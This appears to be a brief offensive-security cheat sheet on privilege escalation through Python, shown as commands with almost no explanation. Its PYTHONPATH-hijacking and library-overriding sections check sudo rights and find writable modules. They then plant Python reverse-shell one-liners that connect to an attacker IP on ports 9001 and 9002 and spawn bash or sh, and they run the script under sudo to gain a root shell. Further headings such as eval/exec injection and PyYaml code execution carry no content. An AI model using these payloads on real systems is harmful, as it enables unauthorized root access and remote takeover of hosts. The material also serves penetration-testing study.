Python
Theory
Practice
PythonPath Hijacking
sudo -l
(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/scripts/example.pyimport random
print(random.randint(1, 8))$ cat /tmp/random.py
import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",9001));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")sudo PYTHONPATH=/tmp/ /usr/bin/python3 /opt/scripts/example.pyPython Library Overriding
sudo -l
(root): /usr/bin/python3 /opt/scripts/example.py$ find / -name "*.py" -writable 2>/dev/null
/usr/lib/python3.11/random.pyimport random
print(random.randint(1, 8))$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING_IP",9002));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' >> /usr/lib/python3.11/random.pysudo /usr/bin/python3 /opt/scripts/example.pyPython Library Hijacking
OS Commands in input()
OS Commands in Eval() and Exec()
Format String Exploit
PyYaml Code Execution
References
Last updated
